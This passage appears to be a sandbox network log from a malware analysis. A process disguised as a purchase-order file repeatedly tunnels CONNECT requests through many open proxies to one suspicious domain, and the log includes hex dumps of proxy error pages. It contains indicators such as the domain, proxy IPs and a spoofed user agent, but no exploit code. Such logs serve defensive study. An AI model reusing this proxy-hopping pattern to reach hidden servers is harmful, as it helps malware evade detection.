Mar 11, 2024 16:39:53.640151978 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1113	192.168.2.10	52958	45.171.108.253	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.265343904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.286067963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.216005087 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1114	192.168.2.10	53361	47.56.110.204	8989	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.271383047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1115	192.168.2.10	53331	62.33.207.202	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.281631947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.620913029 CET	1286	IN	HTTP/1.1 405 Method Not Allowed Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 3209 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e d0 9e d0 a8 d0 98 d0 91 d0 9a d0 90 3a 20 d0 97 d0 b0 d0 bf d1 80 d0 be d1 88 d0 b5 d0 bd d0 bd d1 8b d0 b9 20 55 52 4c 20 d0 bd d0 b5 20 d0 bc d0 be d0 b6 d0 b5 d1 82 20 d0 b1 d1 8b d1 82 d1 8c 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 7d 0a 0a 2f 2a 20 47 65 6e 65 72 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>: URL </title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area /#content {padding: 10px;background: #ffffff;}/ Gener
Mar 11, 2024 16:39:49.620961905 CET	1286	IN	Data Raw: 61 6c 20 74 65 78 74 20 2a 2f 0a 70 20 7b 0a 7d 0a 0a 2f 2a 20 65 72 72 6f 72 20 62 72 69 65 66 20 64 65 73 63 72 69 70 74 69 6f 6e 20 2a 2f 0a 23 65 72 72 6f 72 20 70 20 7b 0a 7d 0a 0a 2f 2a 20 73 6f 6d 65 20 64 61 74 61 20 77 68 69 63 68 20 6d Data Ascii: al text /p {}/ error brief description /#error p {}/ some data which may have caused the problem /#data {}/ the error message received from the system or other software /#sysmsg {}pre { font-family:sans-serif;}/
Mar 11, 2024 16:39:49.621006012 CET	809	IN	Data Raw: d0 ba d0 be d0 bb 3c 2f 62 3e 3c 2f 70 3e 20 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 20 20 3c 70 3e 53 71 75 69 64 20 d0 bd d0 b5 20 d0 bf d0 be d0 b4 d0 b4 d0 b5 d1 80 d0 b6 d0 b8 d0 b2 d0 b0 d0 b5 d1 82 20 d0 b2 d1 81 d0 b5 20 d0 bc d0 b5 d1 82 Data Ascii: </b></p> </blockquote> <p>Squid . , Gopher

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1116	192.168.2.10	51330	185.212.60.62	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.290366888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.624795914 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1117	192.168.2.10	52907	51.15.139.15	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.290370941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.933284998 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1118	192.168.2.10	53303	212.108.145.195	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.291346073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1119	192.168.2.10	51555	167.71.5.83	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.297372103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.823380947 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1120	192.168.2.10	53467	104.238.111.107	7999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.313808918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.785916090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.473577023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.489595890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.583311081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.676816940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.785972118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1121	192.168.2.10	52929	92.205.110.47	36637	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.313810110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.488832951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.489464998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.582849979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.598337889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:25.785737991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:37.785708904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:01.785758972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1122	192.168.2.10	53312	81.17.94.50	34300	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.314099073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.185199976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.411096096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.802711010 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 815 Content-Type: text/html Date: Thu, 25 May 2023 23:38:55 GMT Expires: Thu, 25 May 2023 23:38:55 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1123	192.168.2.10	51532	82.208.111.19	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.316148996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.385128021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.411108017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.411289930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.411869049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:25.410727024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:37.410628080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:01.410629034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:49.473068953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1124	192.168.2.10	53393	80.13.43.193	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
